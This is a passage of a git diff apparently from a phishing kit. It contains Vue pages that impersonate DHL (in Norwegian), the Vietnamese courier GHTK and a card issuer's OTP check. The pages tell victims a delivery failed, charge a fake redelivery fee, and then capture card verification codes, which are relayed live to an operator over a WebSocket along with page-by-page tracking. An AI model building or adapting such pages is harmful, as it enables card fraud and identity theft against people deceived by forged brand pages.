import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const isVerifying = ref(false);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const type = localStorage.getItem("message1");
|
||||
if (type) {
|
||||
message1.value = type;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "otpValid");
|
||||
|
||||
const startTimeStr = localStorage.getItem("countdownStartTime");
|
||||
if (startTimeStr) {
|
||||
const startTime = parseInt(startTimeStr);
|
||||
const elapsed = Date.now() - startTime;
|
||||
if (elapsed < COUNTDOWN_DURATION) {
|
||||
isCounting.value = true;
|
||||
timer = window.setInterval(updateCountdown, 100);
|
||||
updateCountdown();
|
||||
} else {
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
startCountdown("");
|
||||
}
|
||||
} else {
|
||||
startCountdown("");
|
||||
}
|
||||
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
isVerifying.value = true;
|
||||
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
isVerifying.value = false;
|
||||
return;
|
||||
}
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const COUNTDOWN_DURATION = 60000;
|
||||
const timeLeft = ref(60);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `Resend code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
|
||||
: "Resend code";
|
||||
});
|
||||
|
||||
const updateCountdown = () => {
|
||||
const startTimeStr = localStorage.getItem("countdownStartTime");
|
||||
if (!startTimeStr) {
|
||||
stopCountdown();
|
||||
return;
|
||||
}
|
||||
|
||||
const startTime = parseInt(startTimeStr);
|
||||
const elapsed = Date.now() - startTime;
|
||||
const remaining = Math.max(0, Math.ceil((COUNTDOWN_DURATION - elapsed) / 1000));
|
||||
|
||||
timeLeft.value = remaining;
|
||||
|
||||
if (remaining <= 0) {
|
||||
stopCountdown();
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
}
|
||||
};
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
|
||||
const startTime = Date.now();
|
||||
localStorage.setItem("countdownStartTime", startTime.toString());
|
||||
|
||||
isCounting.value = true;
|
||||
timeLeft.value = 60;
|
||||
|
||||
timer = window.setInterval(updateCountdown, 100);
|
||||
updateCountdown();
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
isVerifying.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div id="otp-page" class="ap-otp-wrapper">
|
||||
<div class="ap-otp-outer">
|
||||
<div class="ap-otp-card">
|
||||
|
||||
<div class="ap-otp-header">
|
||||
<svg width="44px" viewBox="0 0 36 36" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M0 18a17.983 17.983 0 0011.625 16.842V1.158A17.983 17.983 0 000 18zM18 0c-.491 0-.999.016-1.475.048v1.268h.096c6.85.048 12.37 5.281 12.322 11.688-.048 6.376-5.598 11.514-12.418 11.498v11.435c.492.047.984.063 1.475.063 9.944 0 18-8.056 18-18S27.944 0 18 0z" fill="#DC1928"></path></svg>
|
||||
<div class="ap-otp-card-logo">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ap-otp-body">
|
||||
<h2 class="ap-otp-title">Verify your identity</h2>
|
||||
|
||||
<p class="ap-otp-desc">
|
||||
To keep your payment secure, we've sent a one-time password (OTP) to your registered mobile number
|
||||
<span v-if="message1"> ending in {{ message1 }}</span>.
|
||||
Please enter the verification code below.
|
||||
</p>
|
||||
|
||||
<form @submit.prevent="submit">
|
||||
<div class="ap-otp-field">
|
||||
<label class="ap-otp-label">Verification code</label>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
class="ap-otp-input"
|
||||
placeholder="Enter your verification code"
|
||||
v-model="formData.verifyCode"
|
||||
@input="onchange"
|
||||
autocomplete="one-time-code"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="ap-otp-error" v-if="message">{{ message }}</div>
|
||||
|
||||
<div class="ap-otp-actions">
|
||||
<button type="submit" class="ap-otp-btn">Verify</button>
|
||||
<a href="javascript:void(0)" class="ap-otp-resend" @click="startCountdown('resendCode')">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="ap-otp-divider"></div>
|
||||
|
||||
<div class="ap-otp-info-row">
|
||||
<span>Learn more about authentication</span>
|
||||
<span class="ap-otp-plus">+</span>
|
||||
</div>
|
||||
<div class="ap-otp-info-row">
|
||||
<span>Need help?</span>
|
||||
<span class="ap-otp-plus">+</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Transition name="fade">
|
||||
<div class="ap-otp-loading" v-if="isVerifying">
|
||||
<div class="ap-otp-backdrop"></div>
|
||||
<div class="ap-otp-loader-box">
|
||||
<div class="ap-otp-spinner"></div>
|
||||
<div class="ap-otp-loader-text">Verifying...</div>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.ap-otp-wrapper {
|
||||
background-color: #f5f5f5;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: flex-start;
|
||||
padding-top: 40px;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
.ap-otp-outer {
|
||||
width: 100%;
|
||||
max-width: 480px;
|
||||
padding: 0 15px;
|
||||
}
|
||||
|
||||
.ap-otp-card {
|
||||
background: #ffffff;
|
||||
border-radius: 6px;
|
||||
box-shadow: 0 2px 10px rgba(0,0,0,0.08);
|
||||
border: 1px solid #e8e8e8;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.ap-otp-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 16px 24px;
|
||||
border-bottom: 3px solid #e31837;
|
||||
background: #ffffff;
|
||||
}
|
||||
|
||||
.ap-otp-card-logo {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.ap-otp-body {
|
||||
padding: 28px 24px 40px;
|
||||
}
|
||||
|
||||
.ap-otp-title {
|
||||
font-size: 20px;
|
||||
font-weight: 700;
|
||||
color: #1a1a1a;
|
||||
margin: 0 0 14px 0;
|
||||
}
|
||||
|
||||
.ap-otp-desc {
|
||||
font-size: 14px;
|
||||
color: #555555;
|
||||
line-height: 1.65;
|
||||
margin-bottom: 28px;
|
||||
}
|
||||
|
||||
.ap-otp-field {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.ap-otp-label {
|
||||
display: block;
|
||||
font-weight: 700;
|
||||
font-size: 14px;
|
||||
margin-bottom: 8px;
|
||||
color: #1a1a1a;
|
||||
}
|
||||
|
||||
.ap-otp-input {
|
||||
width: 100%;
|
||||
padding: 11px 14px;
|
||||
border: 1.5px solid #cccccc;
|
||||
border-radius: 6px;
|
||||
font-size: 15px;
|
||||
box-sizing: border-box;
|
||||
transition: border-color 0.2s;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
.ap-otp-input:focus {
|
||||
border-color: #e31837;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 3px rgba(227,24,55,0.1);
|
||||
}
|
||||
|
||||
.ap-otp-error {
|
||||
color: #cc0000;
|
||||
font-size: 13px;
|
||||
margin-bottom: 12px;
|
||||
padding: 8px 12px;
|
||||
background: #fff0f0;
|
||||
border-radius: 4px;
|
||||
border-left: 3px solid #e31837;
|
||||
}
|
||||
|
||||
.ap-otp-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.ap-otp-btn {
|
||||
background-color: #e31837;
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
padding: 11px 48px;
|
||||
border-radius: 6px;
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
.ap-otp-btn:hover {
|
||||
background-color: #c0152f;
|
||||
}
|
||||
|
||||
.ap-otp-resend {
|
||||
font-size: 14px;
|
||||
color: #e31837;
|
||||
text-decoration: none;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.ap-otp-resend:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.ap-otp-divider {
|
||||
height: 1px;
|
||||
background-color: #eeeeee;
|
||||
margin: 32px 0 0 0;
|
||||
}
|
||||
|
||||
.ap-otp-info-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 15px 0;
|
||||
border-bottom: 1px solid #eeeeee;
|
||||
font-size: 14px;
|
||||
color: #1a1a1a;
|
||||
font-weight: 500;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.ap-otp-plus {
|
||||
color: #e31837;
|
||||
font-size: 20px;
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
/* Loading overlay */
|
||||
.ap-otp-loading {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 10000;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.ap-otp-backdrop {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: rgba(255,255,255,0.88);
|
||||
}
|
||||
|
||||
.ap-otp-loader-box {
|
||||
position: relative;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.ap-otp-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 3px solid #f0f0f0;
|
||||
border-top: 3px solid #e31837;
|
||||
border-radius: 50%;
|
||||
animation: ap-spin 0.8s linear infinite;
|
||||
margin: 0 auto 12px;
|
||||
}
|
||||
|
||||
.ap-otp-loader-text {
|
||||
font-size: 14px;
|
||||
color: #555555;
|
||||
}
|
||||
|
||||
@keyframes ap-spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
|
||||
.fade-enter-from, .fade-leave-to { opacity: 0; }
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.ap-otp-actions {
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
gap: 14px;
|
||||
}
|
||||
.ap-otp-btn {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
293
a12_au_post_aupost/src/views/PayView.vue
Normal file
@@ -0,0 +1,293 @@
|
||||
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { onMounted, ref } from "vue";
|
||||
import { configData, myWebSocket } from "../utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
const loadingStore = useLoadingStore();
|
||||
const router = useRouter();
|
||||
|
||||
const phone = ref("");
|
||||
const payDate = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
function getDateSevenDaysAgo(): Date {
|
||||
const currentDate = new Date();
|
||||
currentDate.setDate(currentDate.getDate() - 7);
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
const min = 100000000;
|
||||
const max = 999999999;
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "pay" },
|
||||
})
|
||||
);
|
||||
const dateSeven = getDateSevenDaysAgo();
|
||||
payDate.value = dateSeven.toLocaleDateString();
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "pay");
|
||||
|
||||
const phoneValue = localStorage.getItem("phone");
|
||||
if (phoneValue) {
|
||||
phone.value = phoneValue;
|
||||
}
|
||||
document.title = "Dịch vụ vận chuyển | GHTK";
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="header-tabs">
|
||||
<div class="tab active">Gửi hàng</div>
|
||||
<div class="tab">Theo dõi</div>
|
||||
<div class="tab">Hỗ trợ</div>
|
||||
</div>
|
||||
<div class="main-box">
|
||||
<form @submit.prevent="next" class="heavy-cargo-home">
|
||||
<div class="main-box">
|
||||
<div class="heavy-cargo-edit">
|
||||
<div class="smart-remind" style="display:none">
|
||||
Vui lòng kiểm tra thông tin địa chỉ có chính xác không. Nếu thiếu thông tin, vui lòng bổ sung kịp thời.
|
||||
</div>
|
||||
<div class="edit-info">
|
||||
<div class="form-title-container">
|
||||
<div class="form-icon-container">
|
||||
<svg class="form-icon" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 -960 960 960" width="24">
|
||||
<path d="M320-240h320v-80H320v80Zm0-160h320v-80H320v80ZM240-80q-33 0-56.5-23.5T160-160v-640q0-33 23.5-56.5T240-880h320l240 240v480q0 33-23.5 56.5T720-80H240Zm280-520v-200H240v640h480v-440H520ZM240-800v200-200 640-640Z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="form-header-text">
|
||||
<h2 class="form-title">Sắp xếp giao hàng lại</h2>
|
||||
<p class="form-subtitle">
|
||||
Hai lần giao hàng đầu tiên được miễn phí. Nếu cần sắp xếp giao hàng lại, bạn cần thanh toán phí vận chuyển. Nếu không nhận được cập nhật, đơn hàng sẽ được trả lại cho người gửi trong vòng 2 ngày làm việc.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<br>
|
||||
<table class="table table-bordered table-striped">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Dịch vụ giao hàng</th>
|
||||
<th>Phí vận chuyển</th>
|
||||
<th>Phương thức</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Tự lấy hàng<br><span>(Hiện tại tạm ngưng do nâng cấp hệ thống)</span></td>
|
||||
<td>0.00</td>
|
||||
<td style="text-align:center"><input type="radio" disabled value="on"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Giao hàng lại<br><span>(1-2 ngày làm việc)</span></td>
|
||||
<td>{{ configData?.pay_amount ? configData?.pay_amount : "20.000 VNĐ" }}</td>
|
||||
<td style="text-align:center"><input type="radio" checked value="on"></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="order-brn-wrap">
|
||||
<button type="submit" class="order-brn">Thanh toán và giao lại</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* Main container */
|
||||
.main-box {
|
||||
padding: 20px;
|
||||
background-color: #f9f9f9; /* GHTK's light gray background */
|
||||
}
|
||||
|
||||
/* Header styles */
|
||||
.form-title-container {
|
||||
display: flex;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.form-icon-container {
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
.form-icon {
|
||||
fill: #ffffff;
|
||||
background-color: #00A03C; /* GHTK's green for icon background */
|
||||
border-radius: 6px;
|
||||
top: 20px;
|
||||
}
|
||||
|
||||
.form-header-text {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.form-title {
|
||||
font-size: 18px;
|
||||
font-weight: 500;
|
||||
margin-bottom: 8px;
|
||||
color: #333333; /* GHTK's dark gray for text */
|
||||
font-family: 'Roboto', 'Arial', sans-serif; /* GHTK's font */
|
||||
}
|
||||
|
||||
.form-subtitle {
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
color: #666666; /* GHTK's medium gray for subtitles */
|
||||
font-family: 'Roboto', 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
/* Form container */
|
||||
.heavy-cargo-home {
|
||||
max-width: 700px; /* GHTK's wider form container */
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.heavy-cargo-edit {
|
||||
background: #ffffff;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
margin-bottom: 20px;
|
||||
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); /* GHTK's subtle shadow */
|
||||
}
|
||||
|
||||
.edit-info {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
/* Form button */
|
||||
.order-brn-wrap {
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.order-brn {
|
||||
background-color: #00A03C; /* GHTK's green for buttons */
|
||||
color: #fff;
|
||||
border: none;
|
||||
padding: 12px 24px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
border-radius: 25px;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.2s;
|
||||
width: 100%;
|
||||
max-width: 300px;
|
||||
font-family: 'Roboto', 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.order-brn:hover {
|
||||
background-color: #00802E; /* Darker green for hover */
|
||||
}
|
||||
|
||||
/* Table styles */
|
||||
table {
|
||||
margin: 0 auto;
|
||||
margin-bottom: 20px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
th {
|
||||
background-color: #e8e8e8; /* Lighter gray for GHTK's table headers */
|
||||
padding: 0 15px;
|
||||
font-size: 12px;
|
||||
height: 60px;
|
||||
font-weight: 700;
|
||||
text-transform: uppercase;
|
||||
font-family: 'Roboto', 'Arial', sans-serif;
|
||||
color: #333333;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
td {
|
||||
background-color: #f5f5f5; /* Lighter gray for GHTK's table cells */
|
||||
height: 60px;
|
||||
padding: 0 15px;
|
||||
font-size: 12px;
|
||||
font-weight: 700;
|
||||
text-transform: uppercase;
|
||||
font-family: 'Roboto', 'Arial', sans-serif;
|
||||
text-align: left;
|
||||
color: #333333;
|
||||
}
|
||||
|
||||
input[type=radio] {
|
||||
width: 15px;
|
||||
height: 15px;
|
||||
appearance: auto;
|
||||
border: none;
|
||||
}
|
||||
|
||||
td span {
|
||||
text-transform: none;
|
||||
font-size: 12px;
|
||||
font-weight: 300;
|
||||
color: #666666; /* GHTK's medium gray for subtext */
|
||||
}
|
||||
|
||||
/* Header tabs */
|
||||
.header-tabs {
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
padding: 12px 0;
|
||||
color: #ffffff;
|
||||
background-color: #00A03C; /* GHTK's green for header */
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.tab {
|
||||
padding: 8px 0;
|
||||
color: #ffffff;
|
||||
font-size: 15px;
|
||||
position: relative;
|
||||
font-family: 'Roboto', 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.tab.active {
|
||||
color: #ffffff;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.tab.active::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
bottom: -1px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 2px;
|
||||
background: #ffffff;
|
||||
}
|
||||
</style>
|
||||
282
a12_au_post_aupost/src/views/Phone1View copy.vue
Normal file
@@ -0,0 +1,282 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { debounce } from "lodash";
|
||||
import moment from "moment";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n();
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const payDate1 = ref("");
|
||||
const trackingNumber = ref("");
|
||||
|
||||
const onchange = debounce((value: any) => {
|
||||
localStorage.setItem("phone", value.target.value);
|
||||
}, 300);
|
||||
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "phone1", pageTitle: "首頁提示" },
|
||||
})
|
||||
);
|
||||
payDate1.value = formatDate(getDateSevenDaysAgo(2));
|
||||
|
||||
const inumber = localStorage.getItem("trackingNumber");
|
||||
if (inumber) {
|
||||
trackingNumber.value = inumber;
|
||||
} else {
|
||||
trackingNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("trackingNumber", trackingNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "phone1");
|
||||
});
|
||||
|
||||
function formatDate(date: Date): string {
|
||||
return moment(date).format("DD/MM/YYYY");
|
||||
}
|
||||
|
||||
function getDateSevenDaysAgo(day: number): Date {
|
||||
const currentDate = new Date();
|
||||
currentDate.setDate(currentDate.getDate() + day);
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
const min = 100000000;
|
||||
const max = 999999999;
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<img
|
||||
src="/Static_zy/woman-signs-for-package-0002.jpeg"
|
||||
alt="DHL Bilde"
|
||||
style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
|
||||
>
|
||||
<div class="main-content-body">
|
||||
<div class="content-container">
|
||||
<div class="content-wrapper">
|
||||
<form @submit.prevent="next">
|
||||
<h1 class="title-text">
|
||||
Spor forsendelsen din
|
||||
</h1>
|
||||
<div class="content">
|
||||
<p class="package-number">
|
||||
Ditt sporingsnummer: <span>{{ trackingNumber }}</span>
|
||||
</p>
|
||||
<p class="failure-notice">
|
||||
<b>Levering mislyktes</b>
|
||||
</p>
|
||||
<ul class="notice-list">
|
||||
<li>
|
||||
Forsendelsen din kunne ikke leveres på grunn av en feil eller ufullstendig adresse.
|
||||
</li>
|
||||
<li>Forsendelsen din har blitt returnert til DHLs distribusjonssenter.</li>
|
||||
<li>
|
||||
Oppdater adressen din for å planlegge et nytt leveringsforsøk den <span>{{ payDate1 }}</span>.
|
||||
</li>
|
||||
</ul>
|
||||
<div class="button-submit">
|
||||
<button type="submit">
|
||||
Fortsett
|
||||
<i
|
||||
class="symbol symbol-chevron"
|
||||
style="display: inline-block; transform: rotate(-90deg); transition: transform 0.3s;"
|
||||
></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* Styles inspired by DHL Ireland[](https://www.dhl.com/ie-en/home.html) */
|
||||
.main-content-body {
|
||||
padding: 2rem 0;
|
||||
width: 100%;
|
||||
overflow-x: hidden;
|
||||
box-sizing: border-box;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
background: var(--linear-gradient-yellow-to-right);
|
||||
}
|
||||
|
||||
.content-container {
|
||||
background: var(--linear-gradient-yellow-to-right);
|
||||
border-radius: 8px;
|
||||
padding: 2rem;
|
||||
max-width: 680px; /* Wider container as per DHL Ireland's layout */
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); /* Softer shadow for modern look */
|
||||
}
|
||||
|
||||
.content-wrapper {
|
||||
min-height: 100px;
|
||||
}
|
||||
|
||||
.title-text {
|
||||
font-size: 32px; /* Larger, bolder heading as per DHL Ireland */
|
||||
font-weight: 700;
|
||||
color: #d40511; /* DHL's signature red */
|
||||
margin-bottom: 1.5rem;
|
||||
font-family: 'Arial', sans-serif; /* DHL Ireland uses Arial or similar sans-serif */
|
||||
line-height: 1.3;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.content {
|
||||
padding: 1.5rem;
|
||||
background: var(--linear-gradient-yellow-to-right);
|
||||
/* border: 1px solid #e6e6e6; */
|
||||
border-radius: 6px;
|
||||
}
|
||||
|
||||
.package-number {
|
||||
font-size: 16px;
|
||||
color: #333333; /* Dark gray for body text */
|
||||
margin-bottom: 1rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.package-number span {
|
||||
font-weight: 600;
|
||||
color: #d40511; /* DHL red for emphasis */
|
||||
}
|
||||
|
||||
.failure-notice {
|
||||
font-size: 16px;
|
||||
color: #d40511; /* DHL red for alerts */
|
||||
margin-bottom: 1rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.failure-notice b {
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.notice-list {
|
||||
list-style: disc outside none;
|
||||
padding-left: 20px;
|
||||
margin-bottom: 1.5rem;
|
||||
}
|
||||
|
||||
.notice-list li {
|
||||
font-size: 14px;
|
||||
color: #333333; /* Dark gray for body text */
|
||||
margin-bottom: 0.75rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.notice-list li span {
|
||||
font-weight: 600;
|
||||
color: #d40511; /* DHL red for highlighted text */
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
margin-top: 1.5rem;
|
||||
}
|
||||
|
||||
button {
|
||||
background-color: #d40511; /* DHL red for buttons */
|
||||
color: #ffffff;
|
||||
padding: 12px 24px;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
font-family: 'Arial', sans-serif;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #b0040f; /* Darker red on hover */
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.main-content-body {
|
||||
padding: 3rem 0;
|
||||
}
|
||||
|
||||
.content-container {
|
||||
max-width: 680px;
|
||||
padding: 2.5rem;
|
||||
}
|
||||
|
||||
.title-text {
|
||||
font-size: 32px;
|
||||
}
|
||||
|
||||
.content {
|
||||
padding: 2rem;
|
||||
}
|
||||
|
||||
.package-number,
|
||||
.failure-notice {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.notice-list li {
|
||||
font-size: 14px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
.main-content-body {
|
||||
padding: 1.5rem 0;
|
||||
}
|
||||
|
||||
.content-container {
|
||||
padding: 1.5rem;
|
||||
}
|
||||
|
||||
.title-text {
|
||||
font-size: 28px;
|
||||
}
|
||||
|
||||
.content {
|
||||
padding: 1.5rem;
|
||||
}
|
||||
|
||||
.package-number,
|
||||
.failure-notice,
|
||||
.notice-list li,
|
||||
button {
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.notice-list {
|
||||
padding-left: 18px;
|
||||
}
|
||||
|
||||
.button {
|
||||
padding: 10px 20px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
444
a12_au_post_aupost/src/views/PhoneView copy.vue
Normal file
@@ -0,0 +1,444 @@
|
||||
<script setup lang="ts">
